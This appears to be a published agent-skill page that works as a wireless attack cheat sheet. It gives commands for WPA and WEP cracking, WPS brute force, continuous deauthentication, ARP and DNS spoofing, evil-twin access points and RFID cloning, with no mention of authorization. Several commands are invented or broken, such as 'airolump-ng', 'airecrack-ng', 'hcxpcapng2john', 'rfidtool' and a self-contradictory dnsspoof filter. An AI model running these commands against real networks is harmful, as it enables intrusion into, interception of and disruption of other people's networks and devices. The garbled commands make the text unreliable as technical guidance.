# Wireless Security

> Wireless network security reconnaissance — WiFi analysis, Bluetooth assessment, RFID/NFC evaluation, signal capture, protocol analysis, encryption testing, rogue device detection.

- Skill: `purpleailab/wireless-security` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/wireless-security`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/wireless-security/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/wireless-security

---


# Wireless Network Security Reconnaissance Knowledge Base

Wireless network security reconnaissance involves identifying, analyzing, and assessing wireless communication protocols and networks for vulnerabilities. This includes WiFi, Bluetooth, RFID/NFC, Zigbee, Z-Wave, LoRaWAN, and other wireless technologies.

## 1. WiFi Network Reconnaissance

### Network Discovery
```bash
# Scan for WiFi networks
airodump-ng wlan0

# Scan specific channel
airodump-ng -c 6 --bssid <BSSID> wlan0

# Scan all channels
wash -i wlan0 -C
```

### Target Identification
```bash
# Identify target network
airolump-ng wlan0

# Get network information
airodump-ng -c <channel> --bssid <BSSID> -w capture wlan0
```

### Client Identification
```bash
# Identify connected clients
airodump-ng -c <channel> --bssid <BSSID> wlan0

# Deauthenticate clients to capture handshakes
aireplay-ng -0 10 -a <BSSID> -c <Client_MAC> wlan0
```

## 2. WiFi Encryption Analysis

### Encryption Type Detection
```bash
# Check encryption type
airodump-ng -c <channel> wlan0 | grep "CH\s*"

# WEP detection (vulnerable)
if [ "$(airodump-ng -c <channel> wlan0 | grep WEP)" ]; then echo "WEP detected - vulnerable!"; fi

# WPA/WPA2 detection
airodump-ng -c <channel> wlan0 | grep -E "WPA|WPA2"

# Open network detection
airodump-ng -c <channel> wlan0 | grep "OPEN"
```

### Vulnerability Assessment
```bash
# WPS vulnerability check
wash -i wlan0 -C
reaver -i wlan0 -b <BSSID> -vv
bully <BSSID> -c <channel> wlan0

# PMKID attack (if WPA2)
hcxpcapngtool -o hash.hc22000 capture.cap --pmkid

# WPA handshake capture
aireplay-ng -0 10 -a <BSSID> wlan0
```

### Key Cracking
```bash
# WEP cracking
airecrack-ng -b <BSSID> capture.cap

# WPA/WPA2 cracking with wordlist
airecrack-ng -w wordlist.txt -b <BSSID> capture.cap

# Use hashcat for GPU acceleration
hcxpcapng2john capture.hc22000 > hash.txt
hashcat -m 22000 hash.txt wordlist.txt
```

## 3. Bluetooth Reconnaissance

### Device Discovery
```bash
# Scan for Bluetooth devices
hcitool scan

# Extended scan with more details
bluetoothctl scan on
bluetoothctl devices
```

### Service Discovery
```bash
# Discover services on device
sdptools browse <device_address>

# RFCOMM scan
rfcomm -a <device_address> list
```

### Connection Attempts
```bash
# Connect to device
bluetoothctl connect <device_address>

# Trust and pair
bluetoothctl trust <device_address>
bluetoothctl pair <device_address>
```

## 4. BLE (Bluetooth Low Energy) Analysis

### BLE Device Discovery
```bash
# Scan for BLE devices
hcitool lescan

# Scan with more details
bluetoothctl scan on
```

### BLE Service Discovery
```bash
# Discover services
gatttool -b <device_address> -p /dev/null connect

# List services
gatttool -b <device_address> -p /dev/null primary

# List characteristics
gatttool -b <device_address> -p /dev/null characteristics
```

### BLE Packet Capture
```bash
# Capture BLE packets
btmon

# Filter BLE traffic
tshark -i bluetooth0 -f "btcommon.address == <device_address>"
```

## 5. RFID and NFC Reconnaissance

### RFID Analysis
```bash
# Use RFID reader
rfidtool --read

# Clone RFID tag (if vulnerable)
rfidtool --clone --source <source_uid> --target <target_uid>

# Proxmark3 commands
proxmark3> hf search
proxmark3> hf mfdump
```

### NFC Analysis
```bash
# NFC tag reading
nfc-list
nfc-poll

# Mifare Classic analysis
mfoc -O mf_dump.bin

# NFC URL extraction
nfc-mfultralight rdump nfc_dump.bin
strings nfc_dump.bin
```

## 6. Signal Analysis and Capture

### Packet Capture
```bash
# WiFi packet capture
tcpdump -i wlan0 -n -w capture.pcap

# Filter for specific protocol
tcpdump -i wlan0 -n port 53 -w dns_capture.pcap

# Airplane mode packet capture
tshark -i wlan0 -w wireless_capture.pcap
```

### Spectrum Analysis
```bash
# Use SDR (Software Defined Radio)
rtl_sdr -f 2412e6 -s 2e6 -g 20 -b 8 -F 0 -l 0 -E deinterleave -E dcblock -E normalized output.raw

# Analyze with gnuradio
# Requires GNU Radio setup
```

### Signal Strength Analysis
```bash
# Monitor signal strength
watch -n 1 "iwconfig wlan0 | grep Signal"

# Create signal heatmap
kismet
```

## 7. Rogue Device Detection

### Rogue Access Point Detection
```bash
# Detect rogue APs
kismet

# Use specialized tools
wifi-pumpkin -i wlan0

# Detect evil twin attacks
airodump-ng -c <channel> wlan0 | grep -E "<known_SSID>|<known_BSSID>"
```

### Rogue Client Detection
```bash
# Detect unauthorized clients
airodump-ng -c <channel> wlan0 | grep -v <authorized_mac_list>

# Detect MAC spoofing
airodump-ng -c <channel> wlan0 | grep -E "<known_MAC_prefixes>"
```

## 8. Wireless Protocol Analysis

### WiFi Protocol Analysis
```bash
# Analyze WiFi management frames
tshark -i wlan0 -Y "wlan.fc.type == 0" -V

# Analyze WiFi control frames
tshark -i wlan0 -Y "wlan.fc.type == 1" -V

# Analyze WiFi data frames
tshark -i wlan0 -Y "wlan.fc.type == 2" -V
```

### Bluetooth Protocol Analysis
```bash
# Analyze Bluetooth packets
tshark -i bluetooth0 -V

# Filter for specific Bluetooth protocol
tshark -i bluetooth0 -Y "btatt" -V
```

## 9. Encryption Testing

### WiFi Encryption Testing
```bash
# Test WEP encryption strength
aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <My_MAC> wlan0
aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -e <ESSID> -a <BSSID> -h <My_MAC> wlan0

# Test WPA handshake
aircrack-ng -w wordlist.txt -b <BSSID> capture.cap
```

### Bluetooth Encryption Testing
```bash
# Check Bluetooth encryption status
bluetoothctl info <device_address>

# Test encryption strength
# Requires specialized tools
```

## 10. Advanced Wireless Attacks

### Deauthentication Attacks
```bash
# Deauthenticate specific client
aireplay-ng -0 10 -a <BSSID> -c <Client_MAC> wlan0

# Deauthenticate all clients
aireplay-ng -0 10 -a <BSSID> wlan0

# Continuous deauthentication
aireplay-ng -0 0 -a <BSSID> wlan0
```

### MITM Attacks
```bash
# ARP spoofing
arpspoof -i wlan0 -t <target_ip> -r <gateway_ip>

# DNS spoofing
dnsspoof -i wlan0 "tcp port 53 and (udp port 53)"
```

### Evil Twin Attack
```bash
# Create evil twin AP
airbase-ng -e <Fake_SSID> -c <channel> wlan0

# Use hostapd
# Configure /etc/hostapd/hostapd.conf
# Then: hostapd /etc/hostapd/hostapd.conf
```

## 11. Wireless Security Tools

### WiFi Tools
```bash
# Comprehensive WiFi suite
aircrack-ng suite
# - airodump-ng: Packet capture
# - aireplay-ng: Packet injection
# - airtun-ng: Virtual tunnel interface
# - airolump-ng: WEP and WPA PSK key generator

# WPA/WPA2 handshake capture
wifite

# WiFi signal analysis
kismet
```

### Bluetooth Tools
```bash
# Bluetooth scanning and analysis
bluetoothctl

# RFCOMM tool
rfcomm

# SDP tool
sdptools
```

### RFID/NFC Tools
```bash
# RFID analysis
rfidtool

# NFC analysis
libnfc tools

# Proxmark3
proxmark3-client
```

## Tools Summary

| Tool | Purpose | Required |
|------|---------|----------|
| `airodump-ng` | WiFi packet capture | ✅ |
| `aireplay-ng` | WiFi packet injection | ✅ |
| `aircrack-ng` | WiFi encryption cracking | ✅ |
| `wash` | WPS detection | ✅ |
| `reaver` | WPS brute-force attack | ✅ |
| `bully` | WPS brute-force attack | ✅ |
| `hcxpcapngtool` | PMKID extraction | ✅ |
| `hashcat` | Password cracking | ✅ |
| `hcitool` | Bluetooth device scanning | ✅ |
| `bluetoothctl` | Bluetooth device management | ✅ |
| `gatttool` | BLE service discovery | ✅ |
| `rfcomm` | RFCOMM channel access | ✅ |
| `sdptools` | SDP service discovery | ✅ |
| `tcpdump` | Network packet capture | ✅ |
| `tshark` | Command-line protocol analysis | ✅ |
| `kismet` | Wireless network detector | ✅ |
| `rtlsdr` | Software Defined Radio | ❌ |
| `proxmark3` | RFID/NFC analysis | ❌ |
| `wifite` | Automated WiFi attacks | ✅ |

